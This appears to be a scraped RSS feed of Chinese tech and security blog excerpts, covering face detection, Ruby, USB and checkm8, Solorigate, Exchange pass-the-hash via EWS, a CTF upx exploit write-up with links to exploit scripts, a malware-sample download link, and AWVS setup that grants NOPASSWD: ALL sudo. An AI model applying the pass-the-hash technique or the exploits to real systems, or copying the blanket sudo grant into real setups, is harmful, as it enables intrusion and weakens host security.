当前节点:rss
时间节点
2021-01-26 10:50:09tyler_download的专栏
前面几个章节我们实现了用于PNet网络训练的若干种训练数据的生成办法。首先是构建了三种数据,分别为neg, part, pos,每种数据都是规格为12*12的图片,其中第一种图片不包含人脸,或者人脸占据的比率不超过30,第二种包含部分人脸,其比率不超过45%,第三种包含人脸的比率超过了65%,这三种图片的目的由于训练网络识别出给定的图片内是否有人脸出现。
然而网络训练的目的不仅仅是要判断出图片中是否有人脸,而且还要能准确的找出人脸在图片中的准确位置,为了实现这点,算法还需要训练网络识别人脸五个关键点所在的坐                    
                        作者:tyler_download 发表于 2021/01/26 10:42:36 原文链接 https://blog.csdn.net/tyler_download/article/details/113174038                    
                    
                        阅读:26
2021-01-25 13:10:28Indie Maker、认知、技术、变现
No, 今天我们说的不是詹姆斯。而是,Minimum Viable Product(MVP) – 最小可实行产品
2021-01-25 11:49:26王登科-DK博客
2019 年 7 , 8 月,我为了测试刚上线的面包多的全家桶功能,创建了一个名为「毛线球科技经营记录」的全家桶,我宣称要在这里以周为周期记录我们这家公司的运营情况,但实际上我只是想测试各项功能是否正常,我把价格定的很高,并以为这样就不会有人误买了。

然而在内心深处,我有那么点希望,有人买,因为一方面这可以让我赚点钱,另一方面,这也表示有人对我在做的事情很认同,但最重要的一点是,哪怕只有一个人买,基于对「花了真金白银」的人的道德责任,我也有足够强的动力,把它更新下去。

果然有一个人买了,于是我开始认真的每周更新,后来陆陆续续有一些人购买,他们让我把无可推卸的责任转化成保持更新的动力,一直更新到现在。

今天我自己也回看了一下,过去的一年,每周都是怎么过来的,我发现这样的记录真是有趣,因此,我准备把它们以最精简的方式提炼一下,每周一句话,来回顾过去一年,我们这家公司干了啥。

2020 年 1 月第一周:看了「硅谷增长黑客实战笔记」,修复 bug

1月第二周:推出开放接口和开放接口的文档

1月第三/四周:过春节,在模拟飞行中学习开飞机

2月第一周:把效果不好的『推广大使』活动停了,把运营团队也裁撤了

2月第二周:上线「原创保护」功能

2月第三周:搭建数据 BI,做增加关注率的AB测试

2月第四周:上线「更新记录」

3月第一周:将包括评论权限在内的许多权限开放给创作者自由设置

3月第二周:清理违规账号,写 BP

3月第三周:数据上了一个小台阶,继续埋了一些漏斗做 AB 测试,提高各个漏斗的转化率

3月第四周:上线「订阅购买」

4月第一周:数据又上了一个台阶,谈了几家机构,但是没谈成

4月第二周:我留了很多鼻血,没有更多记录

4月第三周:优化一些细节,开始开发私聊功能

4月第四周:把协作工具转移到飞书,确定下个季度的工作目标,发了几条微博长文

5月第一周:开发 WP 插件,做 SEO 优化

5月第二周:上线私信功能,数据再上一个小台阶

5月第三周:设计师因为要考研离职了,送上了美好的祝福,开发技术防盗版

5月第四周:上线「技术防盗版」功能

6月第一周:回成都了几天,在地摊儿吃了狼牙土豆和豆花,蛋烘糕,拉了肚子,也见了两家机构,但还是没谈成

6月第二周:上线面包多的「线上地摊儿」,让创作者玩的很开心

6月第三周:小功能优化,处理 bug

6月第四周:被微信干了,想办法恢复了
2021-01-25 00:29:37胡涂说
Ruby is designed to make programmers happy.
– Matz (松本行弘)


松本行弘于1993年开始编写 Ruby 编程语言,并于 1995年发布。2006年 DHH 发布 Ruby on Rails 框架,Ruby 开始流行,并于 2006年被 TIOBE 选为年度编程语言。最近这些年因为云计算和移动互联网的兴起,Ruby 与同类语言相比显得不那么火。不过我倒是一直听喜爱 Ruby, 最近的项目又要用到 Ruby, 便整理下 Ruby 的一些知识教程。以下关于 Ruby 的语法介绍和示例主要来自《The Ruby Programming Languange》这本书1。(这本书是松本行弘本人所写,学习 Ruby 语言必看。)

语法

Ruby 是一款解释型、强类型、动态类型的面向对象编程语言。Ruby 语法优雅,目标是做到尽可能贴近英文语法。

1. Hello world

到 Ruby 的官网2上下载 Ruby 程序,推荐使用 Unix-like 操作系统,如 MacOS、Linux,而一般不建议用 Windows。推荐使用 rbenv 或 RVM 来安装,详细可参见网站指导。安装好 Ruby 后可执行 ruby 来执行 ruby 语言脚本,也可以输入 irb 打开 Ruby 交互式命令行工具(interactive ruby)开始使用。在 irb 上输入:

p 'hello, world!'


p 是 Ruby 的标准输出函数 puts 的简写。这里便可以看到 irb 返回 ‘hello, world!’ 输出。

如果要打印5次 ‘hello, world!’, 那只需要写:

5.times { p 'hello, world!' }


是不是很有意思。

2. 类型

Ruby 中所有值都是对象(包括 nil 值),可以通过调用 class 方法来获知其类。Ruby 不像其他语言一样区分基本类型(primitive types) 和对象类型(object types),对于 Ruby 而言,所有类型都继承自 Object 类(根类为 BasicObject).

试着在 irb 上输入:

1.class
Integer.superclass


数字(Numeric)

Ruby 中包含五种 built-in 数字类型类: Numeric, Int
2021-01-24 18:28:53小草窝博客
18年萌生出了想法撸了一个小文库。https://www.hacking8.com/ 下面是旧版的截图。 阅读全文>>
2021-01-24 16:49:12PansLabyrinth
USB,全称是 Universal Serial Bus,即通用串行总线,既是一个针对电缆和连接器的工业标准,也指代其中使用的连接协议。本文不会过多介绍标准中的细节,而是从软件工程师的角度出发,介绍一些重要的基本概念,以及实际的主机和从机应用。最后作为实际案例,从 USB 协议实现的角度分析了checkm8漏洞的成因。
USB 101
首先要明确的一点,USB 协议是以主机为中心的 (Host Centric),也就是说只有主机端向设备端请求数据后,设备端才能向主机发送数据。从数据的角度来看,开发者最直接接触的就是端点 (Endpoint),端点可以看做是数据收发的管道。
当主机给设备发送数据时,通常流程是:

调用用户层 API,如 libusb_bulk_transfer
对内核的 USB 驱动执行对应系统调用,添加发送队列,如 ioctl(IOCTL_USBFS_SUBMITURB)
内核驱动中通过 HCI 接口向 USB 设备发送请求+数据
数据发送到设备端的 Controller -> HCI -> Host

设备给主机发送请求也是类似,只不过由于是主机中心,发送的数据会保存在缓存中,等待主机发送 IN TOKEN 之后才真正发送到主机。在介绍数据发送流程之前,我们先来看下描述符。
描述符
所有的 USB 设备端设备,都使用一系列层级的描述符 (Descriptors) 来向主机描述自身信息。这些描述符包括:

Device Descriptors: 设备描述
Configuration Descriptors: 配置描述
Interface Descriptors: 接口描述
Endpoint Descriptors: 端点描述
String Descriptors: 字符串描述

它们之间的层级结构关系如下:

 des.png">
        
    des.png
    
每种描述符都有对应的数据结构,定义在标准中的第九章,俗称 ch9。下面以 Linux 内核的实现为例来简要介绍各个描述符,主要参考头文件 include/uapi/linux/usb/ch9.h。
设备描述
每个 USB 设备只能有一个设备描述(Device Descriptor),该描述符中包括了设备的 USB 版本、厂商、产品 ID 以及包含的配置描述符个数等信息,如下所示:
/* USB_DT_DE
2021-01-22 06:06:45MSRC Blog
Alongside our industry partners and the security community, Microsoft continues to investigate the extent of the recent nation-state attack on SolarWinds. Our goal is to provide the latest threat intelligence, Indicators of Compromise (IOC)s, and guidance across our products and solutions to help the community respond, harden infrastructure, and begin to recover from this unprecedented attack. As new information becomes available, we will make updates to this article at https://aka.ms/solorigate.   Executive Summary and Background Information  …  Solorigate Resource Center – updated January 21, 2021 Read More »
2021-01-17 17:26:28Indie Maker、认知、技术、变现
Ali Abdaal2017年从0开始,到2020年这一年的收入达到了130万美金
2021-01-17 09:03:443gstudent
0x00 前言


在之前的文章《Exchange Web Service(EWS)开发指南》开源了工具ewsManage,实现了对Exchange资源的访问。

本文将要更近一步,通过SOAP XML message实现利用hash对Exchange资源的访问。

0x01 简介


本文将要介绍以下内容:


  利用hash访问Exchange资源的方法
  SOAP XML message的使用
  开源Python实现代码
  代码开发细节


0x02 利用hash访问Exchange资源的方法


在之前的文章《渗透技巧——Pass the Hash with Exchange Web Service》介绍了使用hash登录ews的方法

本文将要基于之前的研究,介绍登录ews以后访问Exchange资源的方法,所以在程序实现上会继续选择Python,使用EWS SOAP XML message访问Exchange的资源

对于EWS SOAP XML message的格式,有以下两种方法进行参考:

1.查找资料

https://docs.microsoft.com/en-us/exchange/client-developer/exchange-web-services/get-started-with-ews-client-applications

https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-xml-elements-in-exchange

2.抓包分析

配置Wireshark,实现在Exchange Server上面捕获明文通信数据

使用ewsManage访问Exchange资源

捕获通信数据,能够获得不同操作对应的EWS SOAP XML message格式,示例如下图



0x03 SOAP XML message的使用


相比于EWS Managed API,SOAP XML message更底层,需要考虑的细节也更多一些

1.查看收件箱的邮件数量

发送的XML格式:

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3
2021-01-16 03:42:58MSRC Blog
Alongside our industry partners and the security community, Microsoft continues to investigate the extent of the recent nation-state attack on SolarWinds. Our goal is to provide the latest threat intelligence, Indicators of Compromise (IOC)s, and guidance across our products and solutions to help the community respond, harden infrastructure, and begin to recover from this unprecedented attack. As new information becomes available, we will make updates to this article at https://aka.ms/solorigate.   Executive Summary and Background Information  …  Solorigate Resource Center – updated January 15, 2021 Read More »
2021-01-15 11:48:09MSRC Blog
Microsoft addressed a Critical RCE vulnerability affecting the Netlogon protocol (CVE-2020-1472) on August 11, 2020.  We are reminding our customers that beginning with the February 9, 2021 Security Update release we will be enabling Domain Controller enforcement mode by default.  This will block vulnerable connections from non-compliant devices.  DC enforcement mode requires that all Windows and non-Windows devices use secure RPC with Netlogon secure channel unless customers have explicitly allowed the account to be vulnerable by adding an exception for the …  Netlogon Domain Controller Enforcement Mode is enabled by default beginning with the February 9, 2021 Security Update, related to CVE-2020-1472 Read More »
2021-01-15 02:14:38MSRC Blog
We’re excited to announce the top contributing researchers for the 2020 Fourth Quarter (Q4)! Congratulations to all of the researchers who made this quarter’s leaderboard and a huge thank you to everyone who continues to help secure our customers and the ecosystem. The top three researchers of the 2020 Q4 Security Researcher Leaderboard are: Cameron …  Top MSRC 2020 Q4 Security Researchers – Congratulations! Read More »
2021-01-14 01:53:39MSRC Blog
Hi Folks, This month we are introducing a new data element for each CVE in the Security Update Guide, called Assigning CNA.  First let me back up a bit and give some information about the CVE program. The purpose of a CVE is to uniquely identify a cybersecurity vulnerability.  The CVE program was started back …  Security Update Guide Supports CVEs Assigned by Industry Partners Read More »
2021-01-12 02:52:02MSRC Blog
Over the past several years, Microsoft has rolled out several changes that result in more memory being zeroed. These mitigations include: The InitAll mitigation which zeros most stack variables Switching most Microsoft kernel code over to the ExAllocatePool2/ExAllocatePool3 API’s which zero memory by default. Where possible the compiler will unroll calls to memset. This means …  Building Faster AMD64 Memset Routines Read More »
2021-01-11 16:13:46Swing'Blog
I made a challenge name JunkAV for RWCTF 3rd .  This is an oob write vulnerability caused by a upx processing PE program.  Congratulations to CodeR00t and 217 who solved it during the game.Thank @leommxj for contributing to this challengeDetailsVulnerability is in the PeFile::rebuildRelocs function of pefile.cpp in upx 3.96 .When calling the unoptimizeReloc functionThe size of the relocn can be controlled by the user, so the allocation size can be controlled.The 1024-1033 guild will flip the data.When the data is flipped later, the jc variable on line 1021 becomes controllable, and finally the oob write is completed on line 1023Exploitgenerated upx compressed program :​        http://bestwing.me/attachments/rwctf-3rd/JunkAV/gen_exploit_bin.pyibuf_mod :​        http://bestwing.me/attachments/rwctf-3rd/JunkAV/ibuf_modIO script:​        http://bestwing.me/attachments/rwctf-3rd/JunkAV/exploit.pyReferencehttps://landave.io/2020/11/bitdefender-upx-unpacking-featuring-ten-memory-corruptions/if (typeof lightGallery !
2021-01-10 11:34:52一个安全研究员
欸 朋友们好啊
我是安全呼啦圈里划水的阿信啊
刚才有个朋友问我
信师傅发生甚么事啦
我说怎么回事
给我发了几张截图
我一看
哦
原来是昨天
有一个金主爸爸
二十多岁
挺标致的一个小姐姐
她说
欸
说是
我在xx出版社搬砖
颈椎搬坏了
信师傅你能不能给我宣传宣传
欸
帮助完成一下我的kpi
我说可以
我说你在出版社搬死砖不好用
她不服气
欸
我说小姐姐
你把要推的书发给我
她不发
她说你这也没用
我说我这有用
这是双赢
完成kpi是讲化劲儿的
四两拨千斤
两百多本网络安全的书
都只需要我这一宣传
她说要和我试                    
                        作者:he_and 发表于 2021/01/10 11:24:17 原文链接 https://blog.csdn.net/he_and/article/details/112425702                    
                    
                        阅读:282
2021-01-10 11:34:52一个安全研究员
一年的时间实在是太长了
长到这一年中我经历的很多事情最终都只留下了一道剪影
模模糊糊,越来越看不真切了。
要不是各大app都相继推出年度报告,很多事情我还真不敢相信是今年完成的
就拿我微信读书的年度报告来说吧
其中,《春秋战国》这本书我感觉已经离我好远了
要不是这份报告,我真是不敢相信这是我几个月前才读完的
不过仔细一回忆,还是能够想起我和这本书的故事
这个故事没有跌宕起伏的情节,没有紧张刺激的背景音乐
它在我的脑子里只留下了一副画????:
慵懒的午后,我舒服的靠着车窗,阳光软软地抱着我
随着车子的移动,                    
                        作者:he_and 发表于 2021/01/10 11:19:07 原文链接 https://blog.csdn.net/he_and/article/details/112425663                    
                    
                        阅读:266
2021-01-10 00:37:44tyler_download的专栏
本节我们结合前面的知识点,通过动手实践来分析一个”恶意“程序。这次我们使用的例子具有极强的动手实践性,它也非常能代表恶意程序入侵系统的很多流程步骤,跟着做下来你一定收获颇多。首先我们需要...                    
                        作者:tyler_download 发表于 2021/01/09 11:09:37 原文链接 https://blog.csdn.net/tyler_download/article/details/112418331                    
                    
                        阅读:32
2021-01-09 11:34:09一个安全研究员
graphql使用
在我看来,graphql提供了一种api的解决方案。以前我们查询api提供的数据是怎么做的呢?举一个例子,例如现在有这么一个查询书籍信息的接口:/book/info,按照我们之前的解决方案,我们一般会传一个类似book_id的参数到这个接口,然后接口把书籍信息返回给我们
同样的,如果又有一个查询作者信息的需求,那么我们会新增一个接口:/author/info,并以book_id为参数查询作者信息
可以看到,以往我们使用的api查询数据的操作是分散的,彼此之间是没啥联系,查询多个数据就要向                    
                        作者:he_and 发表于 2021/01/09 11:29:26 原文链接 https://blog.csdn.net/he_and/article/details/112389292                    
                    
                        阅读:84
2021-01-09 11:13:58tyler_download的专栏
本节我们结合前面的知识点,通过动手实践来分析一个”恶意“程序。这次我们使用的例子具有极强的动手实践性,它也非常能代表恶意程序入侵系统的很多流程步骤,跟着做下来你一定收获颇多。
首先我们需要获得要分析的程序对象,其下载地址为:
链接: https://pan.baidu.com/s/1ygGvONkmdeD7d9YJ9plajw  密码: w855
通过上面链接下载相应文件后上传到Linux系统上,我们就可以开始分析流程。首先你会发现它是一个没有后缀的二进制文件,所以我们无法通过后缀来判断文件类型或内容,其实                    
                        作者:tyler_download 发表于 2021/01/09 11:10:07 原文链接 https://blog.csdn.net/tyler_download/article/details/112281584                    
                    
                        阅读:50
2021-01-08 19:54:26小草窝博客
18年萌生出了想法撸了一个小文库。https://www.hacking8.com/ 阅读全文>>
2021-01-04 16:04:13小草窝博客
工作了一年多,加上实习的时间,相当于工作两年了。逐渐摸清了工作中的套路,没有了之前编程的好奇和热情,取而代之的是平平淡淡的搬砖,工作很轻松,但是感觉太舒适了,不适合现在充满好奇的我,年后准备改变了。 2020年文章发布统计图 和2019年相比,发的文章少了,11月甚至一篇文章都没有发,主要原因是有些研究属于公司范畴,不好公开。 阅读全文>>
2021-01-02 22:00:33一个安全研究员
一年的时间实在是太长了
长到这一年中我经历的很多事情最终都只留下了一道剪影
模模糊糊,越来越看不真切了。
要不是各大app都相继推出年度报告,很多事情我还真不敢相信是今年完成的
就拿我微信读书的年度报告来说吧
其中,《春秋战国》这本书我感觉已经离我好远了
要不是这份报告,我真是不敢相信这是我几个月前才读完的
不过仔细一回忆,还是能够想起我和这本书的故事
这个故事没有跌宕起伏的情节,没有紧张刺激的背景音乐
它在我的脑子里只留下了一副画????:
慵懒的午后,我舒服的靠着车窗,阳光软软地抱着我
随着车子的移动,                    
                        作者:he_and 发表于 2021/01/02 21:44:33 原文链接 https://blog.csdn.net/he_and/article/details/112061105                    
                    
                        阅读:159
2021-01-01 04:35:47MSRC Blog
Alongside our industry partners and the security community, Microsoft continues to investigate the extent of the recent nation-state attack on SolarWinds. Our goal is to provide the latest threat intelligence, Indicators of Compromise (IOC)s, and guidance across our products and solutions to help the community respond, harden infrastructure, and begin to recover from this unprecedented attack. As new information becomes available, we will make updates to this article at https://aka.ms/solorigate.   Executive Summary and Background Information  …  Solorigate Resource Center – updated December 31st, 2020 Read More »
2021-01-01 02:16:21MSRC Blog
As we said in our recent blog, we believe the Solorigate incident is an opportunity to work together in important ways, to share information, strengthen defenses and respond to attacks. Like other SolarWinds customers, we have been actively looking for indicators of the Solorigate actor and want to share an update from our ongoing internal …  Microsoft Internal Solorigate Investigation Update Read More »
2020-12-31 19:56:40王登科-DK博客
2020-12-29 21:15:11tyler_download的专栏
上一节我们详细说明了如何为PNET生成用于训练的人脸图片,本节我们需要将上一节分割出的人脸图片存储成文件,相关代码如下:
import numpy as np
import cv2
from google.colab.patches import cv2_imshow 
import os

#准备存储不同训练图片的路径
pos_save_dir = "/content/drive/MyDrive/my_mtcnn/12/positive"
part_save_dir  = "/content/drive/                    
                        作者:tyler_download 发表于 2020/12/29 17:21:49 原文链接 https://blog.csdn.net/tyler_download/article/details/111644605                    
                    
                        阅读:6669 评论:7 查看评论
2020-12-29 02:19:14MSRC Blog
Alongside our industry partners and the security community, Microsoft continues to investigate the extent of the recent nation-state attack on SolarWinds. Our goal is to provide the latest threat intelligence, Indicators of Compromise (IOC)s, and guidance across our products and solutions to help the community respond, harden infrastructure, and begin to recover from this unprecedented attack. As new information becomes available, we will make updates to this article at https://aka.ms/solorigate.   Executive Summary and Background Information  …  Solorigate Resource Center – updated December 28th, 2020 Read More »
2020-12-27 17:16:52PansLabyrinth
一篇零散的总结,记录了今年的安全研究感悟。

题图: cyberpunk girl @toraji

工作
这一年的工作重心跟着团队的方向调整,从业务安全转向了安全研究。说起安全研究,很多人想到的就是分析漏洞、挖漏洞,写利用。当然这是其中一个领域,安全总是和漏洞有着千丝万缕的联系,但漏洞只是一个结果,而研究本身则包含更多。
在企业里搞研究其实是有点尴尬的。本来安全团队在企业里就是不产生效益的边缘支撑角色,忙时救火,闲时背锅;其中安全研究又是边缘中的边缘,每天搞些稀奇古怪的玩意,也不知道有什么用。最重要的是,对于老板而言,没有很好的方式去量化研究性工作的价值。
安全研究体现成果分为两部分,一部分对外,主要包括刷漏洞/致谢,写技术分析文章提高影响力或者写PR文章提高曝光度;另一部分对内,但业务方向本身也有自己的局限性。优秀的设计不一定是新的,但一定是好的;优秀的研究不一定是好的,但一定是新的。正因为如此,在企业中做安全研究有点像是《进击的巨人》中的调查兵团,不仅吃力不讨好,而且经常死在半路上。毕竟大家面临的都是一片荒芜未知,无人之境,一条路走到黑还是及时止损?俗话说,行百里者半九十,掘井九仞犹为弃井,很可能放弃早了就错过了真正有价值的收获。
既然作为一项工作,就总得有产出吧?不管是 KPI 还是 OKR,总会需要一个能够量化结果的指标。优胜劣汰是社会不变的法则,这没什么好说的,只不过任何评价指标都是一把双刃剑,在指标的压力下很容易让人只关注结果。比如漏洞挖掘本身是寻找安全问题,但是指标关注的是漏洞数量而不是漏洞品相,就可能会导致很多人把软件 Bug 当做漏洞提交。一旦只追求结果,人就容易想方设法抄近路,在抄近路的过程中,人又容易迷失真相,做事的干劲也会逐渐消磨殆尽。
安全研究
虽然有很多槽可以吐,但做一行就得做好,因此时常也在想如何才能做好安全研究。鉴于研究二字本身就包含了不可预知的投入,所以目标是很重要的。没有人能告诉你这个方向能不能做,即便有也是站在他们自己的角度,可能并不适用于你。
套用学术界做研究的四阶段:

第一阶段,在导师指定的领域去做,不用考虑方向,只需要把事情做到极致;
第二阶段,自己找一些方向,然后在导师的建议下筛除一些,最后选定一个方向去做出研究成果;
第三阶段,自己去探索方向,自己去判断哪些可做,并且在自己选定的方向有研究成果,这一阶段完全独立完成,不需要导师的参与,因为比你了解这些领域的人不多
2020-12-27 14:57:23一个安全研究员
复现一波                    
                        作者:he_and 发表于 2020/12/27 14:41:08 原文链接 https://blog.csdn.net/he_and/article/details/111794090                    
                    
                        阅读:386
2020-12-23 08:16:26MSRC Blog
Alongside our industry partners and the security community, Microsoft continues to investigate the extent of the recent nation-state attack on SolarWinds. Our goal is to provide the latest threat intelligence, Indicators of Compromise (IOC)s, and guidance across our products and solutions to help the community respond, harden infrastructure, and begin to recover from this unprecedented attack. As new information becomes available, we will make updates to this article at https://aka.ms/solorigate.   Executive Summary and Background Information  …  Solorigate Resource Center – updated December 22nd, 2020 Read More »
2020-12-22 10:34:29MSRC Blog
Alongside our industry partners and the security community, Microsoft continues to investigate the extent of the recent nation-state attack on SolarWinds. Our goal is to provide the latest threat intelligence, Indicators of Compromise (IOC)s, and guidance across our products and solutions to help the community respond, harden infrastructure, and begin to recover from this unprecedented attack. As new information becomes available, we will make updates to this article at https://aka.ms/solorigate   Executive Summary and Background Information  …  December 21st, 2020 – Solorigate Resource Center Read More »
2020-12-20 21:14:52小草窝博客
距离上次SRC资产更新过去了四个月,现在已经实现了SRC资产收集的全部自动化过程,新的SRC资产收集系统邀请你来体验~ 说说这几个月完成的内容。 SRC资产收集的项目过滤掉了没有赏金的,目前所有项目全部为含有赏金。 并且实现了一个hackerone和bugcrowd的爬虫,来定时爬取新的赏金项目。 目前已经包含有公开的HackerOne项... 阅读全文>>
2020-12-17 18:26:05pirogue
碎碎念距离写这个小轮子已经过去半年多了,希望记录下来作为自己路上的一个沉淀,在行业里有人再次提起“越权扫描器”时能有一个从前端到后端、从代理到消费、从设计到使用的感性参考。为什么要做这个东西?因为个人认为IAST、DAST方向的安全产品主要解决了OWASP Top 10中传统的具备可规则化的安全漏洞,比如sql注入、xss、rce等;而越权漏洞本质上可以归结为“逻辑”漏洞,逻辑类型的漏洞想要通过传统的扫描器捕获,从技术原理上来说是比较难的。比如一个功能从提出需求、评审到研发、测试、上线,每个人对它的理解都是不同的,可能研发三天不看这个代码都会忘记这个功能具体做了什么事情,指望一个不具备“智慧”大脑的扫描器理解它,并找到漏洞更是不可能的,甚至这个产品功能本身就是一个逻辑错误(类似于伪需求)。在成熟的互联网企业,统一的公共服务,标准的研发规范,成熟的自动化流水线,再加上代码框架正逐渐步入内生安全,这一切使得传统的Web应用安全漏洞在可视范围内会越来越少。而越权漏洞可能因为研发忘记对某个参数做逻辑或归属校验,漏洞发生的限制条件很低,而造成的危害可能是极大的。通俗点讲就是自动化难检测、易发生、高危害,但我们可以力所能及自动化一部分“水平”或“垂直”越权漏洞。产品设计代理谈到自动化,就少不了数据源的自动获取,比较常见的形式就是代理作为日志的生产者。市面上这么多类型的代理我们应该选择哪种既能满足高性能又能满足https的请求、响应体的全部呢?MitmProxy123456789101112131415161718192021# -*- coding: utf-8 -*-#!/usr/bin/env python3import mitmproxy.httpfrom mitmproxy import ctx, httpimport timeclass ProxyScan:    def request(self, flow: mitmproxy.http.HTTPFlow)-> None:        print('--------------------')        print(flow.request.host)        print(flow.request.url)        print(flow.request.headers)        print(flow.request.get_text
2020-12-17 18:26:05pirogue
说明去年杂七杂八看了一些量化交易的视频算是入了门。本地回测的库有Catalyst(基于zipline)、vnpy、Zipline。这篇文章是一个简单的Tradingview(也可以回测)交易策略通过自己写的python web程序对接火币交易所进行现货买卖的demo。简单来说:Tradingview webhook->python web-> huobi步骤注册Tradingviewhttps://cn.tradingview.com/打开首页你就会发现很多别人已经写好的策略在进行展示,但这些策略往往应用于其他传统金融市场,而不是数字货币。而对于我这种不懂交易会写一点点代码的人只能用别人的策略在币圈进行回测优化。打开脚本页面https://cn.tradingview.com/scripts/这个页面里就是所有的开源策略。选其中一个你认为还不错的,进行我们下面关键的web hook设置。我这里随便举个例子:比如选SuperTrend策略,点“添加至收藏脚本”点击图表按钮选择btcusdt的图表布局左侧出现的就是btc的k线图选择收藏的脚本应用到图表上点击“指标&策略”,然后点击你收藏的“SuperTrend”策略脚本,这时你看图中的数字3那里,就出现了策略在盘面的走势应用图,比如箭头所指的sell,就是策略给的卖出信号。看上图,没想到这个策略在今天还是挺准的,如果都在它给的点位买入卖出或者做多做空,应该是能赚到钱的。注:本人没有用它做实盘策略,自己要用请自行评估。添加信号告警这一步是本篇文章的重点,就是如何使用tradingview的Webhook对接python web程序。tradingview我下文统一叫tv吧,太长了不好打字。点击“警报”图标,会弹出一个对话框。点击下拉,选中supertrend策略。注意我红框里面选中的内容,第一个框是选策略,第二个框是策略的买入信号(待会儿我们还要创建一个卖出信号的警告),第三个框是“每根K线一次”,简单的解释就是可以一直跑,一旦符合指标就提示,其他的选项就是用一次就停止了之类的,不过多解释了。最后点创建,如果不接入webhook的话,平时人工盯盘这样用就足够了。但是量化重点在webhook,下面我们介绍如何接入它。先给出python的web程序代码:12345678910111213141516171819202122232425262728293
2020-12-17 18:26:05pirogue
背景我已经把awvs变成了被动扫描器引擎,其中一些关键环节,我会做一些总结以笔记形式发出来。awvs可以通过导入burpsuite的导出xml文件作为被动扫描器流量的流量输入,它还可以接收如下所述的数据格式Accepted formats include text file with a list of URLs (.txt), Fiddler session archives (.saz), Swagger files (.json, .yaml or .yml), Web Services Definition Files (.wsdl), BURP saved files (.xml) and state files, Selenium (.html, .side), Web Application Description Language (.wadl), ASP.NET Web Forms Project Files (.csproj, .vbproj), Paros log files (.session.data), Postman Collections v2 (.json) or HTTP archive files (*.har)原burpsuite xml导出数据格式123456789101112131415161718192021222324252627282930313233343536373839404142<?xml version="1.0"?><!DOCTYPE items [<!ELEMENT items (item*)><!ATTLIST items burpVersion CDATA ""><!ATTLIST items exportTime CDATA ""><!ELEMENT item (time, url, host, port, protocol, method, path, extension, request, status, responselength, mimetype, response, comment)><!ELEMENT time (#PCDATA)><!ELEMENT url (#PCDATA)><!ELEMENT host (#PCDATA)>
2020-12-17 18:26:05pirogue
升级Ubuntu操作系统1do-release-upgrade升级完成后版本为Ubuntu 18.04.2 LTS \n \l安装软件依赖1sudo apt-get install libxdamage1 libgtk-3-0 libasound2 libnss3 libxss1 libx11-xcb-dev若安装出错,可参考我的下列步骤:可能安装的并不顺利,尤其libx11-xcb-dev,这时候你需要根据错误提示安装它的合适版本的依赖包。123sudo apt-get install libxdmcp6=1:1.1.2-1.1sudo apt-get install libxcb1=1.11.1-1ubuntu1sudo apt-get install libxcb1-dev从官网下载最新的awvs linux版本下载地址:https://www.acunetix.com/web-vulnerability-scanner/demo/填写好申请人的邮箱等信息,提交就可以跳转到真实的软件包下载地址。截止2019-06-17 15:57:39我下载的最新版本为Version: 12.0.190515149(15 May 2019)不想从官网下载或者官网已经取消这种下载流程的,可以从本文底部的下载链接进行下载。安装awvs123chmod 777 acunetix_trial.shsudo ./acunetix_trial.sh.....当你输入了上面的命令之后,会进行安装,其中包括阅读它的使用协议,回车到输入yes,然后输入一系列内容。直到安装完成。awvs修改端口默认的awvs的端口是13443,因为其他原因我需要把端口修改为443.调试过程就略了。。。直接给出解决方案吧。修改web端口1vi /home/acunetix/.acunetix_trial/wvs.ini将server.port=13443改为server.port=443添加/etc/sudoers,免密码可sudo用户。编辑/etc/sudoers1vi /etc/sudoers加一行内容,并保存1acunetix   ALL=(ALL)       NOPASSWD: ALL在/home/acunetix/.acunetix_trial/start.sh第19行,行首添加sudo。重新启动awvs12345sudo systemctl re
2020-12-17 18:26:04pirogue
关键代码opencanary/modules目录下为模拟的服务或协议脚本。opencanary/logger.py 为日志生成脚本,我就是在这个文件里直接改了几行代码向web端发送日志,例如post2server函数和log函数;且LoggerBase类定义了各种日志类型。日志格式xmind我将opencanary蜜罐框架分析的日志和服务(协议)用xmind进行记录,方便有兴趣的同学进行对照着开发。其中opencanary_web数据库honeypot的OpencanaryLog表的字段也是根据根据日志所包含的所有字段进行设计和开发中随时扩表的。监听端口当把opencanary配置选项全部开启之后1234567891011121314151617tcp        0      0 0.0.0.0:2222            0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:8080            0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:21              0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:1433            0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:3389            0.0.0.0:*               LISTEN      12683/pythontcp        0      0 0.0.0.0:8001            0.0.0.0:*
2020-12-17 18:26:04pirogue
一、web服务端介绍Tornado+Vue+Mysql+APScheduler+Nginx+Supervisor1. 架构图2. 功能展示2.1 登录页面2.2 仪表盘2.3 主机状态2.4 攻击列表2.5 过滤列表2.6 邮件配置2.7 白名单ip二、安装方式可以选择通过脚本自动化安装,也可以选择手工安装。1. 自动化安装更省心省力的自动化安装方式2. 手工安装让你更了解蜜罐的手工安装方式3. 一些使用说明后台和客户端的一些使用说明三、后台可统计的信息ftp登录尝试;http访问请求;http登录请求;ssh建立连接;ssh远程版本发送;ssh登录尝试;telnet登录尝试;全端口(SYN)扫描识别;NMAP OS扫描识别;NMAP NULL扫描识别;NMAP XMAS扫描识别;NMAP FIN扫描识别;mysql登录尝试;git clone请求;ntp monlist请求(默认关闭);redis命令请求;TCP连接请求;vnc连接请求;rdp协议windows远程登录;snmp扫描;sip请求;mssql登录sql账户认证;mssql登录win身份认证;http代理登录尝试;四、项目致谢Thinkst Applied Research天使用户群和开源贡献者: @Weiho @kafka @Pa5sw0rd @Cotton @Aa.Kay @冷白开 @YongShao @Lemon五、报告问题在使用过程当中出现任何问题,请点击这里反馈
2020-12-17 18:26:04pirogue
